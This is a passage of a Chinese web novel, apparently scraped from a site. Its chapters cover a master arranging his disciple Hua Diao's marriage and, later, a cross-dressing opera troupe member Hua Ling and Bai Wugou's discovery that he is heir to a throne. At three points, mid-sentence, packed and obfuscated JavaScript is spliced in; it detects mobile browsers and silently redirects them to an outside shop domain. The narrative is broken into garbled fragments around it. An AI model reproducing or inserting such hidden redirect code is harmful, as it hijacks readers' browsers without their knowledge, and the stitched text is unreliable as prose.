听着对坐人“噗嗤”一声,花雕怀疑是不是自己吃相太难看,赶紧挺直了腰板,坐得更端正。慕卿意识到自己的失态,随即收敛了笑容,又伸手替花雕摘下嘴角挂着的米粒。 就在刚才,花雕问他:“师父你不吃吗?” 他摇头,喝了太多的酒,肚子已经被占得满满当当,哪里还吃得下。现在慕卿倒是觉得,就这么看着花雕安安静静地吃饭,也不错。 这是慕卿一手教出来的小丫头啊,世界观当然也是跟着他走的,穿什么样式的衣服,画什么样的妆容,都是他一手操办的,他能不喜欢吗?虽然慕卿并未干涉花雕的爱好和审美,可二人相处久了,自然越来越像。 花雕吃得正香,慕卿猝不及防地朝她抛了句:“接下来我们去全县好不好?” 花雕刚夹了一筷子菜,还来不及吞咽,吐词不清道:“唉,这就走了吗,我们不找香翎姐姐了吗?” 他教过她,食不语。可花雕纳闷,师父之前还跟百香翎二人那么亲密来着,现在怎么说走就走。 花雕已经完全不恨百香翎了,甚至听说百香翎那个当谷主的爹把她卖去了青楼,有点同情她,觉得那个爹爹十分可恶,把慕卿炼成了药人也就算了,还连自己的亲女儿都卖。 “香翎……走了啊……”慕卿眼神躲闪,右手揪着左手的袖子,每次撒谎他都会这样。 空山谷的人来了一个,也不知道后面会来多少个,他躲都来不及,当然不会把香翎留在身边,那无疑是飞蛾扑火。即便百香翎先前对他有恩,但时过境迁,谁能知道她还是不是当年那个天真无邪的小姑娘呢? 这对于慕卿和花雕都是一个未知的危险。 不过花雕并未太在意他揪袖子这个小细节,毕竟她选择无条件相信慕卿,还心想,磨精放走了香翎,那么他肯定是从香翎身上得到了什么有用的信息。 酒足饭饱,二人驱车前往全县。 “兔子妹妹。”看到花雕,赵泽毅自然是欢呼雀跃,张手给了她一个大大的抱抱。 “泽毅哥哥。”花雕小鸟依人地窝在他怀抱里。 赵泽毅早就不是十年前那个爱赌气又挑食的小鬼,虽然比花雕大不了两岁,但个头上已经甩了她一大截。一高一低,一黑一白,慕卿竟然觉得,这两个人,有点般配? 看着慕卿一脸姨母笑,赵泽毅意识到把花雕身旁人落下了,提议道:“慕姐姐,我们也来抱抱?” 慕卿别过脸去,用行动表示拒绝,两个大男人搂搂抱抱的,成何体统。 古朴的老宅子,庄严沉稳的灰瓦白墙,门楹下依旧是那窝燕子,慕卿感慨,赵府景还是那个景,人还是那些人,这么多年一点都没变。 老将军早已是鹤发,却依旧谈笑风生,精神矍铄,见两人来了,乐呵呵地迎了进去。 没有花雕以前,慕卿每年会在全县待一段日子,赵将军索性派人将家里东南角空闲的屋子收拾一番,做成了慕卿的私人酒坊,一来方便慕卿酿酒,二来他也可以讨口酒喝,两全其美。 一年未来,屋里也没有蒙尘,每个酒坛都被蹭得光亮,慕卿在酒窖踱着步,暗叹老将军心细,定是派人常来打扫,想着花雕下半生也在这里度过,觉得莫名心安。 乌飞兔走,安安逸逸又是一天天。 皓月当空,慕卿披了件轻衫,前去查看每个酒坛里谷物发酵的情况,花雕像条影子似的跟在他身后,安静得一言不发——她还是不太会酿酒,只是单纯地觉得,跟着慕卿在一起,很好玩。 哪知慕卿走着走着突然止住了脚步,花雕结结实实地撞在了一堵肉墙上。 二人静默,只听得窗外的蝉鸣。 许久,慕卿终于开口:“我把你许给泽毅哥哥好不好?” 他想了很长时间,该用一种怎样的方式跟花雕启齿,终于不再犹豫,在此时此刻。 花雕还搞不清楚状况:“把泽毅哥哥许给我?” 慕卿被逗笑了,女子那叫嫁或者许配,男子才叫娶,耐着性子跟她解释:“就是啊,你们俩会成亲,然后你就可以永远住在这里,不用漂泊了。” 成亲花雕应该懂啊,慕卿跟她讲过,就是两个人一起生活,然后生几个娃娃。 花雕听出了他话里有话,问他:“磨精你呢?” “我啊,当然是跟着你一起呀。”慕卿又开始拽自己的袖子。 慕卿这话当然是骗她的。 慕卿想好了,等花儿的婚事尘埃落定,他就走,去与世隔绝的黄山岛,安静地度过他生命中最后的时光,也无须人替他收尸。 慕卿突然有一天想明白了目不能视的无涯子是怎么消失的,黄山岛四周的泊澜湖那么宽,怎么会装不下一个无处安放的孤苦之人,到时候,他也可以和无涯子做一样的选择…… 从小到大除了血蛊的事情,对花雕,慕卿都毫无保留,更是从不骗她,故而他的这番话,花雕也信以为真。 花雕一听能和慕卿一起安定下来,自然是开心得不得了。 解决了小丫头这边,慕卿直奔赵泽毅住处,见屋内灯火通明,想着赵泽毅定是在夜读,并未睡下,也没犹豫,直接叩门。 进屋后,慕卿开门见山:“我跟你说两件事,请你务必放在心上,并且不要跟花雕说。” “嗯,好。” 大半夜前来,必然是什么要紧事,赵泽毅没有丝毫犹豫思考,应道。 只见慕卿淡定自若地取下围在脖颈上的一圈纱织,露出突兀的喉结,跟精美的容颜甚是违和,惊得赵泽毅嘴巴张大得能塞下一个鸡蛋:“原来你……” 原来你是个汉子啊…… 连赵泽毅自己都没办法相信,那个他叫了十多年的姐姐,居然是一个男人,原以为只是个女中豪杰,才如此落落大方,举手投足间都带着江湖气,当了花雕的师父,现在看来是他天真了…… “我是有苦衷的,你不必好奇。空山谷的人说,我活不过半个甲子,我把花雕托付给你,希望你能好好待她。” 本来知道了慕卿是个男子,赵泽毅也没了忌讳,一听这话,抓着他的双肩,怒吼道:“他们说你活不过半个甲子,你就一定活不过去?你怎么不想想他们是不是为了某种目的骗你的呢?你要是死了,花雕她怎么办!你想过吗?” 慕卿淡淡一笑,空山谷既然连药蛊这种可怕的东西都能研制出来,又怎么会不知道它的副作用,他们既然这么说,肯定有他们的道理。再说,他也确实觉得,每次药蛊发作起来,更加难受了。 “这不是还有你嘛。”慕卿笑得狡黠,那笑容映在那张绝世容颜上,显得极其欠揍。 什么叫用最云淡风轻的表情,说最狠心决绝的话,赵泽毅算是见识到了。 赵泽毅看了想打人,气得一拳就挥了过去,慕卿也不躲闪,被打倒在地:“我知你心有怨恨,可是我又有什么办法,要怪,就怪我遇见了她吧”。 说着,慕卿心中一阵苍凉,是啊,要是当初没有遇见,现在又怎会如此不舍? 赵泽毅顿足,看着地上颓坐的人儿,纠结又无可奈何,花雕要是知道自己帮着慕卿骗了她,估计到时候气得能把赵府掀了顶! 沉默了许久,才缓缓开口:“成亲的事,花雕知道了吗?” “嗯,我跟她说了,她没有什么异议。”慕卿起身,依旧是用一种平和的语气,拍了拍衣上的尘,说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598175|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一个心思单纯得连情爱都不知为何物的小姑娘能有什么异议,只是,他该拿慕卿怎么办?他又该如何跟花雕解释慕卿的离去? 撇开慕卿不说,其实,赵泽毅心里是有花雕的。他气只是因为慕卿不负责任,不把事情说清楚,就弃花雕而去,把所有的锅都甩给他。但,这种事……谁能说清楚啊,谁又能听后一脸淡定地接受啊…… 赵泽毅苦恼,也只能默认自己是答应了。 既然两方都同意了,皆大欢喜,慕卿作为“家长”,当然要和对方家长,也就是赵轲商量这件事啦。 慕卿将自己的想法告知了赵老将军,赵泽毅也到了婚配的年纪。两个小家伙从小就在一起玩,花雕性子又纯,颇得老将军喜欢,他巴不得那小子能娶上这样的媳妇,乖乖巧巧安安静静的,也不招惹是非,多好。作为长辈,赵轲自然乐意成全这门亲事,乐呵呵道:“我没什么反对意见,只是这六礼……” 六礼是民间嫁娶的习俗,有纳采、问名、纳吉、纳征、请期、亲迎。总结整个流程,就是以媒人为介,来回在男女双方家跑,先是提亲,再是备礼前去求亲,问得女方名字和生辰八字,合过庚帖,赠予聘礼,敲定婚期,置备好嫁妆,不日即可迎娶。 “花雕若是一直呆在赵府的话,六礼的确不合适,不如按照两方实际,化繁为简,免去一些不必要的流程吧。”慕卿提议。 老将军听了连连点头,心想这流程虽然简化了,但是聘礼可是一点儿都不能马虎,他可要亲自操办,看看府里有什么稀罕值钱的玩意,一并送给花丫头。 两人讨论了一番,商量着到时候花雕就呆在赵府,合过庚帖,再择个良辰吉日,也不用迎娶了,直接拜天地吧。 什么四台的六台的八台的大轿啊都是虚的,博个好彩头哪有嫁个好郎君实在。流程虽然简单,慕卿可一点都不想马虎,开始盘算自己有多少现钱,打算到时候全部折成嫁妆给花雕,剩下的都是酒,就先给她留着,以备不时之需。 赵轲请来的风水先生鹤发童颜,俨然一派仙风道骨之姿,跟外边那些牛鼻子老道有天壤之别。几人绕桌围坐成一圈,赵泽毅和花雕看热闹,赵轲和慕卿主事。 “不知花丫头生辰八字是何时?” 慕卿薄唇轻启:“二月二十二。” 慕卿记得那天,他刚刚卖完酒,度过血蛊反噬之期,准备在望南山脚下歇一个晚上,再前往醴泉山,却意外地遇见了花雕。见花雕孤零零地蜷缩在墙角,也不知道是什么触动了慕卿,他就想带她去吃东西…… 后来也不知道怎么回事,就越纠葛越深,成了如今这般模样。 花雕不记得自己的生辰,他就将其默认在那个桃花纷飞的他们相遇的日子。 他在望南山上埋酒,也是为了替花雕“庆生”,慕卿想,等她出嫁的时候,那些坛酒是时候启封了。 民间有酒名“女儿红”,亦名“花雕”。但凡大户人家生了女儿,便选酒数坛,请人刻字彩绘,雕上各种花卉图案,尔后埋入地底,窖藏数年。待女儿长大出阁时,再取出窖藏陈酒,用来款待贺客。 埋酒这件事花雕并不知情,她以为是给别人埋的酒,慕卿回想,她小时候气鼓鼓一脸吃醋的模样,还真是可爱。后来去埋酒的次数多了,她便习以为常,这才淡定起来。花雕今年十六岁,细数来,已经埋了十六坛子酒了。 那老先生抖落算筹,是为上上签,不禁连连啧声道:“郎才女貌,天作之合,好一段天赐良缘啊。” 婚期定在了九月初九,掐指一算,还有三个多月。 看着整个赵府为了二人婚事忙上忙下,慕卿一阵欣慰,还好不是太仓促,他还有时间能好好陪她走完最后的一段路,这样,他也没有什么遗憾了。 却忘了两个多月后,自己又将会有一场劫难。 彼时满池菡萏开得正艳,不远处的一对金童玉女谈笑风生,习习凉风卷着不知道什么花的香,扑鼻而来。慕卿望着这一幕,感慨,多好的画面啊,只可惜,等三个月一过,他以后怕是再也看不到了。 34. 戏子入画满临初15 在临初安顿下来以后,这几年柳源戏班日子过得不温不火,时不时地会接一些活,衣有余锦,食有余粮,钟情采购物资,叶童舟把着账目关,开源节流,二人倒也配合得不错。 演出隔三差五都有,甚至有一次,芈氏为了给自家老太太祝寿,特地请了全国的几大戏班子。耿安国地处玉霄、花迟、日辄三国间,占尽了地理优势,又有丰富的矿产资源,可以说是块肥肉,各方势力都觊觎,保身不易,所以重武轻文,没那么多风雅人士。听戏的多是女眷,图个热闹劲儿,虽是如此,那时的戏班里没有撑得住大场子的旦角,花伶虽然学了两下子,却还是半瓢水,沈佳期还是亲自上台。 那一出唱的是《木兰从军》,讲的是巾帼英雄花木兰,女扮男装替父从军的故事。沈佳期会选这个,自然是因为切合耿安国的国情,相对些儿女情长,这个故事反而会迎合他们的口味,毕竟唱戏和崇武两不耽误嘛。 台上那人水袖飘扬,一双眼睛神采奕奕,顾盼生情,把木兰演绎得活灵活现,花伶在台下看得出神,这是平时里的那个沈师父?看着花伶不可思议的神情,般若倒是习以为常,在旁边嘀咕:“这下你懂了为什么戏班里的大家都服他了吧。” 沈佳期能当上班主,除了劳章驰老班主的意外暴毙,还因为他本身的实力不容小觑。作为劳班主亲自收养的孩子,他可没在沈佳期身上少下功夫,一个手势一个眼神地教,逼着沈佳期练上千百遍,达不到他意就不给饭吃。 沈佳期悟性极高,又肯刻苦,自然能比其他的孩子更能掌握其中精髓,也更博劳章驰的欢心,没出两年,劳班主就宣布他出师了,让他去带班里的其他弟子,这当然都是前话了。 这些年柳源戏班也添了人丁,司空冰生了般若的小崽崽,取名字姜瑾旭,司空冰将小家伙留在了戏班,还怕般若后继无人。此外,班里其他的师兄有些也娶妻生子了,但他们都没打算让自家孩子当个戏子——身份卑微,在耿安根本落不到什么好的前途,不如参加科考,当个芝麻大的官来得实在。除了这些,沈佳期又从路上捡了两个看着不错的小娃娃,花伶获得了两只名副其实的“小师弟”,一个叫余望,一个叫谭汐华。 再说花伶,全戏班唯一的女孩,一直被女扮男装。在叶童舟和沈佳期的监管下,她从当初的愣头青,平步青云,成了戏班唱旦角的顶梁柱子,人送外号“花面小郎君”,临初爱听戏之人见着了,都得恭敬地叫一声“花二爷”。 为什么不叫花大爷?“花大爷”哪有“花二爷”好听? 听众都说花二爷眉清目秀如女子,身板又小,她戏下的女子,跟那祸国的妲己一样,要多妖媚有多妖媚,那叫一个韵味啊。 倒是白无垢,这么多年也没什么长进,像个赖皮蛇(又无赖又皮又蛇精病)一样每天跟在花伶身后,沈佳期也不过问太多——柳源戏班要是缺了这么个活宝,不知得少了多少欢声笑语。 霜满天经常会派人给白无垢送药,却从不亲自来。自从戏班定居临初后,最开始是每次两瓶,到后来成了六瓶,白无垢也懒得计较他是用了什么办法,只是觉得方便,又省了脚程,从最初的一月跑一趟变成了三月跑一趟,多好。 这不,送药的伙计又来了。这次除了药,还给他带来了一封霜满天的亲笔信,白无垢和花伶都觉得新奇,寨主哥哥什么时候变得这么文绉绉?就一起坐在院子里拆信。 信上写了一堆劲爆的消息,白无垢一时难以消化:霜满天是耿安国国君白溟祉的儿子,也是自己的亲哥哥,他提前半年来,就是为了告诉无垢,明年,又是白家当道。 他们老爹在秋猎惊了马,整个人从马上坠了下去,摔坏了腰,怕是要躺一阵子了,所以下个四年,不得不赶鸭子上架,把白无垢“逼”成国君。 耿安国民风淳朴,重情义,实行的是一夫一妻制,霜白两家作为皇室也不例外,故这一代,只有霜满天和霜满地两个儿子。 “白无垢”就是“霜满地”。 白无垢这些年过得很安全,是因为他被霜满天藏在了柳源戏班。霜满天很清楚,芈氏在位,权势滔天,若是此时对白无垢动了手,就可以随便给他安个路人甲路人乙路人丙的身份,毕竟大家都知道白家公子死在了长渝,谁知道这突然冒出来的是哪个冒牌货。但白无垢上位以后,把身份坐实了,芈氏就根本不会再对他有任何非分之想,怕落得一个残害手足的名声,为天下人所诟病。 落款处洋洋洒洒写的是:你的天哥敬上。 花伶看着霜满天龙飞凤舞的字迹,探着脑袋问了句:“你叫他‘天哥’,他是不是该叫你‘地弟’呀?” “地弟”跟“弟弟”同音,怎么叫不都是一样嘛,白无垢摆首:“肉麻。我怎么听着一身鸡皮疙瘩呢?” 是突然一下的,毫无征兆地告知,他还是不能接受他跟霜满天的血缘关系,这种事情应该两人面对面说得比较清楚,霜满天一封书信就给他带来了这么多消息…… 换成谁,都不会这么快接受的吧。 他白无垢,向来游戏人生,每天嘻嘻闹闹笑哈哈一天就过去了。当皇上就不一样,每天要批奏折,听汇报,操心国家大事,这让他怎么能快乐得起来呢。还非要每天板着脸,装作严肃认真一丝不苟的模样,这太难了,稍有玩闹嘻哈,就可能被当成昏庸无道,被世人说昏君误国。 要他继位,这压力也太大了吧…… 唱戏他都唱不好,管理一个国家的人,岂不是更难? 白无垢不能理解,他区区一介废柴,来柳源戏班唱了个戏,把自己也唱成了一出戏,这也太戏剧化了吧。 心乱如麻,招呼也没跟沈佳期打,就直奔回风寨去了。 探子把他带到霜满天面前时,霜满天正盘腿坐在一张虎皮上,盘点着人马枪械粮草等军中物资。 这些年在回风寨,打劫四方来客,可谓是积攒了一笔不小的财富,虽然他们平时省吃俭用就是了…… 要搁前两年,他才懒得看这些东西,芈氏的江山他才不守!现如今不一样了,自己的亲弟弟要上位了,他作为亲哥哥,理应助他一臂之力。 好在上次的长渝之战他率兵出征,英勇杀敌,敌军一退就是十几里。鏖战持续了一年多,他霜满天愣是把周围的几国人都打怕了。虽然后来的故事有些不尽人意,但兜兜转转一切总算是回到了正轨,耿安有了“霜满天将军”这颗定心丸,别国更加不敢肆意妄为,近些年他们都在休养生息,故没有什么大的动荡。 “霜……霜满天。”得知自己的真实身份后,原名原姓地叫着他有些奇怪,白无垢也不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598176|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么这般忸怩,他还想向以前一样,没心没肺地叫着“天哥”,可是就是喊不出口啊。 “无垢怎么来了?” 霜满天还是像往常一样,用那种不愠不怒的语气叫他“无垢”。 毕竟,他一直都知道真相,蒙在鼓里的是白无垢。 “那个……我能不能跟你商量个事,你看你这么英俊潇洒,又统领有方,这国君,你来当可好?”霜满天不凶,但是白无垢就是没了底气,说到底,自己长这么大,也没忤逆过他。 英俊潇洒,白无垢咬着唇,嗐,自己在说些什么鬼话,虽然,是有那么点好看就是了…… 天哥他是高高在上的,英气逼人,举手投足都有一股子王者风范。以前,他是寨主,现在,他是将军,威风凛凛,叱咤四方。果然,像他这般有才能的人就是金子,就算埋得再深,都能金光闪闪。 别看霜满天平日里吊儿郎当,回风寨可是被他打理得井井有条,这么多年没出半点岔子,将士们每天围着山操练,半点功夫都没落下,也没混进一个眼线,出过一个叛徒。 霜满天颇有意味地端详着他,拒绝得干脆利落:“不行。” 他好武善斗,是一介粗人,继承皇位这舞文弄墨的差事根本不适合他。什么和为贵,他都巴不得打起来,才能一展雄风,这样怎么看,都会像是个暴君吧。 再者,当了国君,他还是将军啊,要是哪天战死在沙场,国家无主,那得乱成什么样,打江山不易,守江山更难,霜满天可不能让老祖宗打下的大好河山毁在自己手里,为天下所诟病,为后人所耻笑。但他要是扶持白无垢登了基,他不但依旧是他的大将军,还能继续保护好无垢,多好。 “傻瓜,不怕。”霜满天见白无垢一脸困顿,弹了弹他的额头,又贴在他耳边絮絮地说了句:“我会替你守好这江山的。” 他是将军,耿安国浴血奋战的将军,是他的哥哥,亦是臣子,护好眼前人,是他必尽的义务。 “额。”白无垢一时哽住,不知道怎么接茬,这句话怎么听着,很有安全感? 白无垢窘迫得红了脸,却见霜满天满脸痞笑,他这个弟弟啊,有点可爱? - 沈佳期发现院子里静得有些可怕,没了寻日里那个聒噪臭小子的身影,不免心生担忧,便抓着花伶问:“无垢呢?” “无垢收到了满天哥的消息,说是要让他回去当皇上,就二话不说,上回风寨找满天哥去了。” 耿安国三家之主芈姓、白姓、霜姓,他多年前就知道这白无垢和白家有一些渊源,时过境迁,都差点把这些事忘了,只是没想到,如今这白无垢要继任白家之主。沈佳期听后颇为震惊,随即嘱咐花伶:“这事你要保密,别跟别人说。” 叶童舟没有事以前,沈佳期盼着能攀上哪家的权势,得一方势力盘踞。可现在的他,安逸久了,便不想再陷入诡谲波云,只要这一个班子里的人都平平安安的,他就觉得挺好,亦不想什么大富大贵,至于无垢,沈佳期也只是习惯了他的存在,喜欢他身上浑然天成的热闹气息。 可现在,突然出了一个国主,这戏班,还能安定如初吗? 已然已经有了入秋的迹象,沈佳期望着院里被黄色斑驳的梧桐,终是叹了句:“该来的,一个都跑不掉。” 35. 戏子入画满临初16 白无垢是在一周后才回到柳源戏班的。 呆在回风寨期间,霜满天跟他分析了一遍各国的局势,陈述了其中利害关系。 玉霄、日辄、花迟三大国对立,耿安夹杂在中间,自成一派,却也让各国虎视眈眈。关隘宝地的位置,数之不尽的矿产,是耿安钳制三国的筹码。 一旦哪国拿下了耿安,无疑国力大增,这对其他两国都不利,另两国必然会举兵相对,只怕到时候闹得腥风血雨,又是一场场恶战,遭殃的是天下芸芸众生。此外,也不排除三国瓜分耿安的可能,虽然这种可能的确很小。故而,耿安必须自保。 如果霜满天坐上了皇椅,疲于处理国家政事,军武方面他难免要分心,顾不得那么周全,三军战力肯定会削减,耿安必是危于累卵。 听着霜满天唾沫横飞地讲着朝局,白无垢内心小小地鄙视了他一下,说了这么多,就是把当国君这个最累最磨人的锅甩给我呗。终于,他忍不住开口问道:“如果你有一天再也不能守护这个国家了,那我们该怎么办?” 白无垢想的是另一种可能,霜满天作为将军,随时都有可能光荣在战场上,就是表达出来比较委婉而已,霜满天精明着呢,肯定能听懂他话里的意思。到时候,耿安的江山,会由谁来守护? “找赵亮,他性子虽然粗了些,可他是一个带兵打仗的好手。如果我和赵亮都嗝屁了,还有赵亮的弟弟赵明,你的大皇叔白奕飞,大皇叔的侄子白卫晁……” 耿安国能武的高手多如牛毛,霜满天列了一串名单,这也激起了白无垢的好奇心:“那你为什么不让赵亮他们去杀敌,你去当国君啊?” 霜满天并未做声,只是用一种如水般缱绻的目光注视着他,嘴角微微上扬,那模样似笑非笑,心念道:为了你啊,傻瓜。刀拿在别人手中哪有拿在自己手中安心呢。 四岁前,白无垢都生活在宫里,虽锦衣玉食,馔玉炊珠,却并未记事。长渝一战后,霜满天带着他定居在回风寨,他们有家都不能回。回风寨占尽天险地势,发现霜满天等人行踪后,芈氏虽然在派人监视着他们,但并未采取任何行动,一来是忌惮霜满天这个“满朝第一大将军”的武力值,更重要的是,芈氏相信霜满天烂泥扶不上墙,成不了什么气候。 之后霜满天无意间将白无垢混在沈佳期的戏班里偷摸地弄下山,一是让他走出芈氏的监控范围,二是让他看看外面的世界,体察一下国情。 白无垢在回风寨小住了一两天。交代完该交代的事情,霜满天就趁着微垂的夜幕,把他赶下了山。 几月后的冬至,就是三家交接继位大典,霜满天让他回去好好“准备准备”,读些书,长些见识,别到时候丢了白家的脸。 回去路上,白无垢揣着霜满天给他的一锭银子,踢着路边的石头,满脸都写着不高兴:骗人呢吧,什么国君,这么远的路,下山还要自己走,也不来个人送送,还挑了个这么偏僻的小道,夜这么黑,山里这么危险……铁岭山这么大,半天晃不到一个人,银子有屁用。 白无垢走了整整两天才找到有车马停靠的地方,期间累了就找个山洞小憩,渴了就饮山泉水,饿了就摘点果子吃,罢了他庆幸还好平时在回风寨没偷懒,野外生存的技能学得不错。 霜满天其实一路都安排了人跟着他,山中沿途驻扎着百姓模样的芈氏眼线,碍于人多目标明显,霜满天不得已让白无垢趁夜独自下山,就是怕他暴露。 “安全回去了吗?”霜满天盼星星盼月亮,终于在三天后盼到了跟白无垢的探子。 “属下亲眼看着那小子进了柳源戏班。”回禀的探子是宫里的白氏家仆,还纳闷,那个小鬼身上到底有什么魔力,能让霜满天这么在意。霜满天派他连日连夜地跟着,还特地吩咐不能隔得太近……山中地势复杂,杂草丛生,他险些跟丢。 “好的,我知道了,你回宫去忙吧。”确认无误后,霜满天心里的石头才落地。 柳源戏班在这几天也没闲着。日辄国五皇子许夜祈和许柔竺公主作为使臣来访,素闻日辄国人喜欢舞文弄墨的这些花架子,耿安国为了尽地主之谊,把柳源戏班等一大堆班子请进了宫。 日辄此次来访,算是正常的邦交,寻日里,这样的活动在国与国之间很常见,但有些表面上笑嘻嘻,其实暗地里探查他国国情的事情也时有发生。 戏馆子里,有听戏之人老早就抢了个前排的位置,却听说花二爷一大早就进宫去了,面上浮着遗憾,说了句稀奇,失落而归。 这是花伶第二次来耿安国皇宫,她远远地便看见了鳞次栉比的宫墙把天地分割开来,整个宫殿笼罩在了浅秋昏黄的气氛之中,一切都显得那么的遥远又不真切——虽然离上次来不过几年光景。 日辄不比耿安,国境虽大,但境内多山,山上多奇草毒虫,长期隔绝阻塞的交通使得日辄国乐于交流分享。你就想想,假如一个人迷失在大山里,而他走着走着突然遇见了一个人,这该是一件多么开心的事啊,还不得跟他说上几句话,故而日辄极具包容性,多方面吸取他国各类文化精粹,铸成了多元化的国家文化。 大概是因为投其所好,所以主客皆大欢喜,柳源戏班又小挣了一笔。 戏罢,听有人说白无垢回来了,花伶不免心生欢喜,一路小跑打算奔出宫去迎接,在桥上却和迎面而来的许柔竺撞了个满怀。 许柔竺是日辄国国君的小女儿,日辄实行的是一夫多妻制,讲求的是开枝散叶,故她上面有三个姐姐,五个哥哥,这么多人都疼她,许柔竺可谓是集万千宠爱于一身,凡事都仗着自己的性子来。 因为被撞到了脑袋,许柔竺有些吃痛,当即耍起了小性子:“不过是一个戏子,也不看看自己什么身份,敢冲撞本公主!” 花伶瞪了她一眼,并不道歉,不过是一个蛮夷之邦盗贼头头的女儿,还真蹬鼻子上脸,把自己当正儿八经的公主了?就这暴脾气,不说玉霄那种泱泱大国里的那些个王孙贵胄,就连耿安的芈夏初公主一根头发丝儿都比不上。 芈家有个女儿叫芈夏初,花伶在赈粮布粥的时候看见过,那才是真的大家闺秀,尽管人家一个字都不说,但站在那里,里里外外的气质显露无遗。 啧,真的是人比人气死人啊,一比掉了一大截。 花伶不怕她,可是也不让着她,在戏班里她也是人见人宠的“小公主”,况且,她也不是故意要撞上许柔竺的…… 察觉到对面人不和善的目光,许柔竺不淡定了,她从小到大都是被捧在手心里的宝,周围人巴结她都来不及,这个小戏子凭什么对她吹胡子瞪眼的,不行,她受不了这个气! 虚荣心在作祟,许柔竺皓腕一伸,稍稍用力,直接把花伶推到了桥下水里,四周飞溅起水花。 “柔竺!”不远处的人听见了动静,赶紧呵斥一声,正是许柔竺的五哥许夜祈。 察觉到五哥语气里的焦急与愠怒,许柔竺意识到自己又冲动做错了事,赶紧一溜烟跑远了。 花伶倒是不紧不慢,她是会水的,自从白无垢在玉霄国救了小皇子玉景奕,白无垢就缠着她,要教她凫水,如今倒好,派上用场了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598177|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见闻此景,许夜祈赶紧上前,一把跃入水中,将花伶从水里捞了起来,却无意间触碰到了她某处的柔软。 许夜祈眉头一皱,不禁问道:“女子?” 眼见着秘密被发现了,花伶假装淡定,束好发带:“公子,大路朝天,咱们各走一边,你今天权当什么都没看见,我也未曾经历什么,咱们从此一别两宽,江湖不见,在下告辞。” 望着被打湿的戏服笼着花伶瘦弱的背影慢慢远去,许夜祈面上始终带着一抹淡淡的哀伤的神情。一个仅有一面之缘的女子,在许夜祈心中扎成了一根小小的刺,隐隐约约地疼。 女扮男装,抛头露面,她一定是有什么苦衷的吧。 第二天,许夜祈特地一大早去戏班里寻花伶:“花姑娘,我们见过的,我为之前舍妹的不对向你道歉……” 一句“姑娘”,开口便得罪了花伶。 花伶面无表情,一脸的六亲不认:“你谁呀?我们见过吗?” 许夜祈还想解释,却被花伶一把打断,弱弱地说了句:“见过的,就在昨天……” 花伶直接怼了回去:“昨天花某并未外出,不信你可以问我的师兄师弟们。” 一个许柔竺就已经够难缠的了,可不要再来什么奇怪的人儿,惹不起你们,本姑娘我躲还躲不起吗?花伶心想。 “对,对对对!”柳源戏班的大院子里有稀稀拉拉几个人,见此情此景,异口同声地睁着眼说瞎话。 在柳源戏班,谁戏唱得好谁就是爷,如今沈佳期不在,二爷就是最大,二爷说什么就是什么,她说黑没有人敢说白。 如果连这么简单的团结一致都做不到,柳源戏班怎么在耿安国混的这么多年? 吃了闭门羹,许夜祈心里多多少少有点过意不去,柔竺在自己家横惯了也就算了,跑到别人家的地头上耍什么威风啊…… 这要是被柳源戏班大肆渲染,传出去,还以为他们日辄是蛮夷之国,不懂礼数,多不好听啊。 许夜祈又忍不住在心底吐槽了一下自家妹子。 这边,白无垢伸了个懒腰,推了房门出来:“什么曰啊也啊的,我看得头都大了。” 目光却被眼前紫衣华服的男人吸引了去,那人身上有股浑然天成的贵气,白无垢猜他可能是哪家的贵胄公子。 只见花伶和他面对着面,却没有人说话。 那男子也没有丝毫要离去的意思,这阵仗,不像是来请花伶唱戏的哇,白无垢不由得心上一惊,这是又有人来闹事吗?想到此,白无垢握紧了拳头,伺机待动。 许夜祈倒是不慌乱,观察着四周的环境,他注意到,花伶旁边有个男孩子坐在椅子上,从他进门开始,就一直虎视眈眈地看着他,那眼神像刀子,恨不得将他寸寸凌迟。 那是叶童舟,花伶将自己昨日不慎落水还被人揭穿身份的事情告诉过大家,他不由得有些紧张。师弟女子的身份要是被传出去,被有心之人做了文章,指不定会让花伶陷入怎样的水深火热中,这于花伶,于柳源戏班,都是不利的。 花伶望向叶童舟,和他眼神相对后,随即轻轻地摇摇头,暗示他别轻举妄动。 “若没有旁的事,请回吧,许先生。”见僵持不定,花伶索性下逐客令。 一句“许先生”,白无垢立马知会了来人身份,慢慢松开了紧握的拳。昨日听闻是这个人救了师姐,白无垢想着,也许他不是那么坏,但转念一想,推师姐下水的人正是此人的妹妹,蛇鼠一窝,指不定人家是为他妹妹讨公道来了,松开的拳头又握紧了。 36. 戏子入画满临初17 许柔竺极少出宫,此次来耿安也是磨了家里的长辈们好久,但他们根本不放心她,这才把行事最稳妥又管得住她的许夜祈一道儿派来了。 